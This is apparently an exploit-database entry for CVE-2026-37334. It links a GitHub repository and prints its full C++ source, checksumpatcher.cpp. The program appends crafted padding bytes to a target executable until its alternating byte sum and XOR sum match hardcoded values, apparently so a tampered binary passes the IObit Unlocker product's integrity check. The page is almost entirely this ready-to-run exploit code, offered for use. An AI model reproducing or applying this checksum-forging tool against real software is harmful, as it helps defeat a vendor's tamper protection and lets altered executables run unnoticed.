Exploit databaseDownload repository ZIP
GH-e0c59324a49300a06bf63d256cbba886
nasawyer7/iobitunlockerunlocker
Sources for CVE-2026-37334
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
nasawyer7/iobitunlockerunlockerRevision 0870de694733
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
checksumpatcher/checksumpatcher.cpp
C++ · 3,180 bytes#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;
int main(int argc, char* argv[]) {
// 1. Verify arguments
if (argc < 2) {
cout << "Usage: " << argv[0] << " <target_executable.exe>" << endl;
return 1;
}
const long long TARGET_ALT = 11044471;
const unsigned char TARGET_XOR = 43;
string filename = argv[1];
// 2. Read the current file
ifstream infile(filename, ios::binary);
if (!infile) {
cerr << "Error: Could not open file for reading." << endl;
return 1;
}
long long calt = 0;
unsigned char cxor = 0;
long long n = 0;
char byte_read;
while (infile.get(byte_read)) {
unsigned char ubyte = (unsigned char)byte_read;
if (n % 2 == 0) {
calt += ubyte;
}
else {
calt -= ubyte;
}
cxor ^= ubyte;
n++;
}
infile.close();
cout << "Original File Size: " << n << " bytes" << endl;
cout << "Current Alternating Sum: " << calt << endl;
cout << "Current XOR Sum: " << (int)cxor << endl;
if (calt == TARGET_ALT && cxor == TARGET_XOR) {
cout << "File already has the correct checksums. No changes needed." << endl;
return 0;
}
// 3. Open the file for appending the overlay payload
ofstream outfile(filename, ios::binary | ios::app);
if (!outfile) {
cerr << "Error: Could not open file for appending." << endl;
return 1;
}
long long appended_count = 0;
// Phase 1: Adjust Alternating Sum to TARGET_ALT
while (calt != TARGET_ALT) {
long long diff = TARGET_ALT - calt;
unsigned char append_val = 0;
if (n % 2 == 0) { // Even index: byte will be ADDED to calt
if (diff > 0) {
append_val = (unsigned char)min(diff, 255LL);
}
}
else { // Odd index: byte will be SUBTRACTED from calt
if (diff < 0) {
append_val = (unsigned char)min(-diff, 255LL);
}
}
outfile.put((char)append_val);
calt += (n % 2 == 0) ? append_val : -append_val;
cxor ^= append_val;
n++;
appended_count++;
}
// Phase 2: Adjust XOR Sum to TARGET_XOR using the 4-byte zero-sum rule
unsigned char Y = cxor ^ TARGET_XOR;
if (Y != 0) {
// Y is guaranteed to be even because parities of calt and cxor always match
unsigned char a = Y / 2;
unsigned char b = 0;
unsigned char c = Y / 2;
unsigned char d = Y;
outfile.put((char)a);
outfile.put((char)b);
outfile.put((char)c);
outfile.put((char)d);
appended_count += 4;
// Update variables just for the final confirmation output
cxor ^= Y;
n += 4;
}
outfile.close();
cout << "\nSuccessfully appended " << appended_count << " padding bytes." << endl;
cout << "New Alternating Sum: " << calt << " (Target: " << TARGET_ALT << ")" << endl;
cout << "New XOR Sum: " << (int)cxor << " (Target: " << (int)TARGET_XOR << ")" << endl;
return 0;
}